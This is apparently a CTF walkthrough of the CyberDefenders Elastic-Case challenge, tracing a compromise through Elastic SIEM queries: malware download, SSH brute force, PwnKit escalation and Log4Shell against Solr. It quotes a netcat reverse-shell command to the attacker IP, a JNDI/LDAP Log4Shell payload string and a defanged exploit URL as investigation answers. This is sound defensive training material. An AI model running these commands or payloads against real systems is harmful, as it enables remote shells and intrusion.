CyberDefenders: Elastic-Case

Overview

Elastic-Case is a medium-difficulty challenge hosted by CyberDefenders. It involves using Elastic as a SIEM to trace malicious activity on a compromised network. For this challenge, I mostly used Discover for queries, though I tried to incorporate Elastic Security as well.


Scenario

An attacker was able to trick an employee into downloading a suspicious file and running it. The attacker compromised the system, along with that, The Security Team did not update most systems. The attacker was able to pivot to another system and compromise the company. As a SOC analyst, you are assigned to investigate the incident using Elastic as a SIEM tool and help the team to kick out the attacker.


Q1

Who downloads the malicious file which has a double extension?

We’ll start by checking what kind of security alerts were triggered.

Navigate to Security -> Alerts.

Here we can see that Malware Detection Alert was triggered 19 times.

Top 3 alerts

We’re looking for the user who downloaded the malicious file, so let’s look at those.

Hover over Malware Detection Alert and click “Filter In” on the popup.

Malware Detection Alerts, sorted from Oldest -> Newest

With our query filtered, we can spot an executable with a double extension that was downloaded by the user ahmed.

Answer ahmed

Q2

What is the hostname he was using?

The hostname was included in the previous query results. You might have to expand the host.name field to get the entire value. Alternatively, you can expand the event details by clicking the arrows on the left side.

Expanded details of a malware event

Answer DESKTOP-Q1SL9P2

Q3

What is the name of the malicious file?

Referring back to our malware alerts, we can see the name of the file in the alert reason.

Answer Acount_details.pdf.exe

Q4

What is the attacker’s IP address?

We’ll need to analyze information involving the execution of the malware to determine the IP address. To navigate to the relevant analyzer screen, click Analyze Event -> Network -> Network End.

Note: We want to analyze the event of the malicious process executing, not the preceding download events.

Analyze the first process event with the filename

Open the network events menu

Select the ID for the network end event

Once we’ve navigated to the network end event we’ll find the IP address that the malware reached out to.

Attacker's IP address

Alternatively, we can find the attacker’s IP address using Discover by querying for events that include the ahmed username, the malicious process, and a network connection.

Events that contain the ahmed user, malicious executable, and a destination IP address

Answer 192.168.1.10

Q5

Another user with high privilege runs the same malicious file. What is the username?

Going back to the malware alerts, we can create a filter to exclude the ahmed user from the results.

Creating a filter to exclude the ahmed user

Updated results

The results show the only other user that executed the malware was cybery.

Answer cybery

Q6

The attacker was able to upload a DLL file of size 8704. What is the file name?

We can keep this simple and query for file extension and file size.

Query for the file extension and exact file size

Answer mCblHDgWP.dll

Q7

What parent process name spawns cmd with NT AUTHORITY privilege and pid 10716?

Another simple query, this time we’ll look for the process ID of 10716 and the process name of cmd.exe.

Query for the PID and cmd process

Expanded details of the result

Alternatively, we can perform the same query and analyze the corresponding event in Elastic Security.

The process information as seen in Elastic Security

Answer rundll32.exe

Q8

The previous process was able to access a registry. What is the full path of the registry?

If we query for rundll32.exe’s PID and process name, we can check what fields are available in the corresponding events. A quick search for “registry” shows us there are values for registry.path.

Searching for available fields within query results

Knowing this, we can query for events with values for the registry.path field and create a column for it.

Query for the PID, process name, and events containing registry.path values

Alternatively, we can use our previous Elastic Security event and inspect the registry value for the rundll32.exe parent process.

Inspecting the rundll.exe event in Elastic Security

Answer HKLM\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy\Enabled

Q9

PowerShell process with pid 8836 changed a file in the system. What was that filename?

We can repeat the process from the previous question. We’ll start by querying for the PID, process name, and events that include a file.name value. Then we’ll search for relevant fields and apply them to the query. In this case, event.type does the trick.

Query for pid, process name, and event.type

Elastic Secure, as it turns out, makes the process much quicker.

Within our previous Elastic Secure window we can see there is a PowerShell process spawned by cmd.exe. Checking that process information confirms the PID and includes the filename.

PowerShell process in Elastic Security

File events for the PowerShell process

The file changed by PowerShell

Answer ModuleAnalysisCache

Q10

PowerShell process with pid 11676 created files with the ps1 extension. What is the first file that has been created?

We can use the same query from our previous Discover, just change the PID and event.type.

Query for pid and creation events

Answer __PSScriptPolicyTest_bymwxuft.3b5.ps1

Q11

What is the machine’s IP address that is in the same LAN as a windows machine?

Many of the events we’ve looked at have included the IP address of the Windows machine in the details, but we can get this information by going to the hosts screen under Elastic Security as well.

Windows Host

If we check the other devices listed, the only one that is on the same network is the Ubuntu host.

Ubuntu Host

Answer 192.168.10.30

Q12

The attacker login to the Ubuntu machine after a brute force attack. What is the username he was successfully login with?

We can start by determining the source of the brute force attack. One simple way of getting started is by building a table of usernames. With this table, we can quickly skim for obvious brute-force attempts and use a specific event to form our parameters.

Table of usernames within the logs

We can see some usernames that are almost certainly generated from an attack, so we’ll use password147 as our example to determine the appropriate parameters.

Some of the relevant parameters in one of the failed SSH attempts

Now we know we can use event.action and event.outcome to query the appropriate events. We can also see the host is Ubuntu. Further down in the output, the Windows machine is listed as the source.

With that information, we’ll create our query to search for ssh_login events with any value for event.outcome.

SSH login attempts sorted by most recent

Answer salem

Q13

After that attacker downloaded the exploit from the GitHub repo using wget. What is the full URL of the repo?

We’ll search for processes run by the salem user with the wget as the process name.

Query for process.name and user.name

Answer

Refang the URL for submission.

hxxps[://]raw[.]githubusercontent[.]com/joeammond/CVE-2021-4034/main/CVE-2021-4034[.]py


Q14

After The attacker runs the exploit, which spawns a new process called pkexec, what is the process’s md5 hash?

We can search for events with pkexec as the process name and filter for the md5 hash.

Query process name and filter for hash values

Answer 3a4ad518e9e404a6bad3d39dfebaf2f6

Q15

Then attacker gets an interactive shell by running a specific command on the process id 3011 with the root user. What is the command?

We’ll keep it simple and query for the PID and root user.

Query for username and pid

Answer bash -i

Q16

What is the hostname which alert signal.rule.name: “Netcat Network Activity”?

For this, we’ll head back to Elastic Security, from there it’s easy to check the alert details.

Netcat Network Activity event details

Answer CentOS

Q17

What is the username who ran netcat?

We can see the username from the details in Q16.

Answer solr

Q18

What is the parent process name of netcat?

We’ll analyze the event in Elastic Security.

Process hierarcy as seen in Security

Answer java

Q19

If you focus on nc process, you can get the entire command that the attacker ran to get a reverse shell. Write the full command?

While we’re in Elastic Security we’ll open the process details.

netcat process details

Of course, we can also see this information within Discover with our standard query.

nc command execution

Answer nc -e /bin/bash 192.168.1.10 9999

Q20

From the previous three questions, you may remember a famous java vulnerability. What is it?
Answer Log4Shell

Q21

What is the entire log file path of the “solr” application?

For this, we’ll simply query for file paths containing “solr”.

The thing to note about this question is that we should be querying filebeat because it is used for application logs.

query for file names containing solr

Answer /var/solr/logs/solr.log

Q22

What is the path that is vulnerable to log4j?

If we inspect the message field of the event, we can see many important indicators.

Query for filenames containing solr, displaying Message field

Answer /admin/cores

Q23

What is the GET request parameter used to deliver log4j payload?

The information is in the previous message field.

Answer foo

Q24

What is the JNDI payload that is connected to the LDAP port?

The information is in the previous message field.

Answer {foo=${jndi:ldap://192.168.1.10:1389/Exploit}}

Conclusion

This was a long and somewhat challenging CTF. It was a lot of fun uncovering all the activities of the threat actor, and it was interesting to explore Elastic Security a bit more. I’d like to revisit this challenge in the future and use Elastic Security for each of the questions.

Next post

CCD Review